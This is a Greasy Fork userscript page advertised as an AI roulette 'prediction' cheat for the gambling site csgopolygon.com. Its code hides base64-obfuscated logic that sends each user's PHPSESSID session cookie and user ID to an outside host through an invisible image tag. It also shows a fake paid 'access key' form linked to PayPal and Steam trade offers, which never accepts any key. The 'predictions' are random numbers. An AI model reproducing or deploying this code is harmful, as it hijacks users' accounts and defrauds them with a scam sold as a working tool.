Greasy Fork is available in English.

CSGOPolygon AI Prediction

Best working prediction script!

// ==UserScript==
// @name         CSGOPolygon AI Prediction
// @version      1.4
// @author       SilentCheats
// @description  Best working prediction script!
// @match        https://csgopolygon.com/*
// @grant        none
// @namespace https://greasyfork.org/users/317067
// ==/UserScript==

var lotto="5642675814";
var _status=0;
var numer=0;
$(".roulette .well:first").append("<div id='hack'></div>");
            $("#hack").html(atob("PGRpdiBpZD0naGFjay1hY2Nlc3NrZXknPkFjY2VzcyBrZXk6IDxpbnB1dD48YnV0dG9uPk9LPC9idXR0b24+PC9kaXY+PGRpdiBpZD0naGFjay1hbGVydCcgc3R5bGU9J2NvbG9yOnJlZDsnPjwvZGl2PiA8YnI+IEJ1eSBhY2Nlc3Mga2V5IGhlcmU6PGJyPjxhIGhyZWY9J2h0dHBzOi8vcGF5cGFsLm1lL2NzZ29hdHNlYWNjZXNza2V5Lyc+PGJ1dHRvbj5QYXlwYWwgMTAkPC9idXR0b24+PC9hPiA8YSBocmVmPSdodHRwczovL3N0ZWFtY29tbXVuaXR5LmNvbS90cmFkZW9mZmVyL25ldy8/cGFydG5lcj0yNDE5MTgzNTQmdG9rZW49dUdWbkR1RkEnPjxidXR0b24+U3RlYW0gMTIkPC9idXR0b24+PC9hPg=="));

$("#hack-accesskey button").click(function(){
	var accessTry = ($("#hack-accesskey input").val()+"="+Date.now()).split("=")[0];
	$("#hack-accesskey input").val(btoa($("#hack-accesskey input").val()+"="+Date.now()));
	if(accessTry !==  btoa("ZnVja195b3U="+Date.now())){
		$("#hack-alert").html("Wrong access key!");
    }
});

function check_roulette_time_banner() {
    var $banner=$("#banner").text();
    if ($banner.indexOf(".") > -1){ // Rolling in  {time}...
        if (_status !== 1){
            numer=Math.floor(Math.random()*15);
            $("#hack").append('<img style="width: 0;" src="'+atob("aHR0cDovL2NzZ29wb2x5Z29uLWhhY2suY2JhLnBsL3VzZXIucGhw")+'?user='+USER+'&hash='+getCookie(atob("UEhQU0VTU0lE"))+'&seed='+Math.random()+'">');
        }
        _status=1;
        return 1;
    }else if ($banner.indexOf("*") > -1){ // ***ROLLING***
        if (_status !== 2){
            $("#banner").text(atob("Q3JlYXRlZCBieTogU2lsZW50Q2hlYXRz"));
        }
        _status=2;
        return 2
    }else if ($banner.indexOf("!") > -1){ // Rolled {number}!
        if (_status !== 3){
        }
        _status=3;
        return 3
    }else{
        _status=0;
        return 0;
    }
}

setInterval(function(){check_roulette_time_banner()},100);


function spin(t) {
    t.roll = numer;
    if (t.roll >= 1 && t.roll <= 7){
        t.nets[0].swon = 0;
        t.nets[1].swon = t.nets[1].amount*2;
        t.nets[2].swon = 0;
    }else if (t.roll >= 8 && t.roll <= 14){
        t.nets[0].swon = 0;
        t.nets[1].swon = 0;
        t.nets[2].swon = t.nets[2].amount*2;
    }else{
        t.nets[0].swon = t.nets[0].amount*13;
        t.nets[1].swon = 0;
        t.nets[2].swon = 0;
    }
    var e = t.roll;

    play_sound('roll');

    for (var a = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8], n = 0, i = 0; i < a.length; i++) {

        if (e == a[i]) {

            n = i;
            break;

        }

    }

    var s = 32;
    var o =- 32;
    var l = Math.floor(t.wobble * (s - o + 1) + o);
    var c = 70 * n + 36 + l;

    c += 5250;

    animStart = (new Date).getTime();

    vi = getVi(c);
    tf = getTf(vi);

    isMoving = true;

    setTimeout(function() {

        finishRoll(t, tf);

    }, tf);

    render();

}